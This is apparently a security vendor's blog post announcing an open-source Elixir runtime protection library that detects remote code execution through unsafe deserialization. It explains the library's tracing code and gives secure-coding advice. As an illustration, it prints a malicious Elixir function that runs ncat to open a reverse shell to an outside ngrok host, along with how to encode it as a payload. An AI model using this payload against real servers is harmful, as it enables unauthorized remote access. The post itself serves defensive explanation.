Exploit Guard: Open Source Runtime Application Self Protection for Elixir

Michael Lubas, 2023-06-12

Today Paraxial.io is excited to announce Exploit Guard, which adds runtime application self protection (RASP) to Paraxial.io Application Secure. This feature allows businesses using Elixir in production to detect and stop hacking attempts at runtime. The 2017 Equifax data breach started due to a remote code execution (RCE) vulnerability in Apache Struts, a Java framework. This incident resulted in a $425 million dollar settlement, and prompted businesses executives to begin asking questions about application security. Exploit Guard blocks RCE attacks in Elixir.

Exploit Guard is also being published as an open source library, to support the Elixir community. Paraxial.io is grateful to all the hard working, talented Elixir developers in open source, and hopes this library is a positive contribution to the ecosystem.

Executive Summary

Paraxial.io is the only RASP product on the market compatible with Elixir and Phoenix. Most security vendors will claim Elixir is on the roadmap, but it is simply not their priority. Paraxial.io was created from day one to secure Elixir, and the release of RASP supports this goal. If your business is currently using Elixir, or considering adopting it, please contact us to speak with an expert in cyber security and Elixir.

How It Works

Consider a vulnerable application, Potion Shop, where an attacker can submit some malicious input that is passed to :erlang.binary_to_term. This results in a malicious function being created at runtime, allowing the attacker to gain a reverse shell, the equivalent of production SSH access. For more details on how this works, see Elixir/Phoenix Security: Remote Code Execution and Serialisation.

Consider the malicious function:

exploit = fn _, _ ->  System.cmd("ncat", ["-e", "/bin/bash", "8.tcp.ngrok.io", "14544"]) end

|> :erlang.term_to_binary()
|> Base.url_encode64()

> "g3AAAAKmAiQ3HH0..."

This code will be executed on the victim server, where Potion Shop is running. This ncat command spawns a reverse shell, connecting to the attacker client. The attacker sends a base64 encoded payload containing the malicious function (g3AAAAK..), and is able to connect to the running web server:

This is very bad. The attacker now had production access to the web server, an important foothold which leads to a data breach. When :erlang.binary_to_term returns a new function at runtime, that is an important signal. Exploit Guard detects this, and when running in block mode kills the relevant process:

The reverse shell connection fails, due to Exploit Guard.

Technical Details

Exploit Guard is built on top of Erlang’s tracing functionality. The reason for this approach is the library can be inserted into any Elixir project as a dependency, and immediately start working, with minimum configuration and performance impact. Tracing Elixir and Erlang in production can lead to stability problems, so Exploit Guard’s core functionality uses Fred Hebert’s recon library, an excellent tool for tracing in production.

The watcher.ex code is the best place to start to understand the implementation.

# Start tracing :erlang.binary_to_term
def init(_) do

  # This match spec states:
  # For erlang tracing, match on the first argument ({:hd,:"$1"}) of the function
  # see if that first argument matching binary_part <<131, 112>>
  # 131 means Erlang External Term Format
  # 112 means NEW_FUN_EXT
  # https://www.erlang.org/doc/apps/erts/erl_ext_dist.html#new_fun_ext
  ms = [{:"$1", [{:==, {:binary_part, {:hd,:"$1"}, 0, 2}, <<131, 112>>}], [{:return_trace}]}]

  # Trace calls to binary_to_term where a new function is being created at runtime
  # {10,1000} means max 10 calls per 1 second with recon's rate limiter
  :recon_trace.calls({:erlang, :binary_to_term, ms}, {10, 1000}, [{:io_server, self()}])
  {:ok, %{}}

The goal is to detect when a new function is created at runtime, by monitoring calls to :erlang.binary_to_term. This function may take one or two arguments, and when the input binary matches the Erlang External Term Format for a function, that is the only event the trace should match. All others calls to the function for lists, tuples, etc should not be traced.

This is accomplished via the Erlang match specification. The format for tracing is slightly different than ETS matching, so lets walk through converting an English statement to a match spec: "Match on the first argument of a function if that argument is a binary starting with <<131, 112>>". The magic bytes of <<131, 112>> correspond to NEW_FUN_EXT.

Match on the first argument of the function: {:hd,:"$1"} # Works with arity 1 and 2 versions of binary_to_term

Match a binary starting with <<131, 112>>: {:==, {:binary_part, {:hd,:"$1"}, 0, 2}, <<131, 112>>}

Finally, use return_trace to trace the message sent on return from the current function. Looks like <0.736.0> erlang:binary_to_term/1 --> #Fun<erl_eval.42.3316493>.

ms = [{:"$1", [{:==, {:binary_part, {:hd,:"$1"}, 0, 2}, <<131, 112>>}], [{:return_trace}]}]

At first glance match specifications can be cryptic, however this matching is key to how Exploit Guard works. Next recon is used to trace :erlang.binary_to_term with the match spec:

:recon_trace.calls({:erlang, :binary_to_term, ms}, {10, 1000}, [{:io_server, self()}])

Traces are printed to the CLI by default. watcher.ex implements a primitive io_server, to receive these messages and kill the relevant process when an exploit is detected. As you have likely gleaned, tracing of binary_to_term is necessary for Exploit Guard to work.

Why Not Prevent This?

Searching your codebase for binary_to_term seems like the obvious preventative measure, something Sobelow does by default. It is worth mentioning that Sobelow will not detect if a dependency in your project is sending user input to binary_to_term. Downloading all the dependencies locally, then searching through each library for binary_to_term would work, however this will only tell you that the function exists, and does not provide context if user input is actually being passed to the function.

Codebases and dependencies change frequently, and while Elixir’s ecosystem is much more stable compared with other languages, a set of norms has emerged around application security. RASP is often a requirement for any programming language being used in a high security context. The release of this library is meant to encourage further adoption of Elixir by satisfying this demand.

Remember :erlang.binary_to_term(user_input, [:safe]) is not secure. From Plug.Crypto, non_executable_binary_to_term is the secure version.

Security Benefits of Elixir

The type of exploit discussed here is commonly referred to as Remote Code Execution (RCE) via deserialization. Python, Ruby, Java, and most languages used to build public facing web applications today suffer from this problem. Detecting and blocking these exploits is of considerable interest to security researchers and businesses alike. The object oriented nature of these languages leads to “magic methods” and “gadget chains”, see this Portswigger article for more details.

The functional nature of Elixir completely eliminates that vector. A deserialization exploit in Elixir follows the pattern:

attacker_payload |> :erlang.binary_to_term() |> function_executor

Where function_executor is typically an Enum traversal. No gadget chains, no worrying about magic methods that could lead to a security problem. This simplified model, combined with the BEAM’s excellent support for tracing, demonstrates how the good design principles of Elixir results in more reliable, fault tolerant, and secure software.

Paraxial.io stops data breaches by securing your Elixir and Phoenix apps. Detect and fix critical security issues today.

Subscribe to stay up to date on new posts.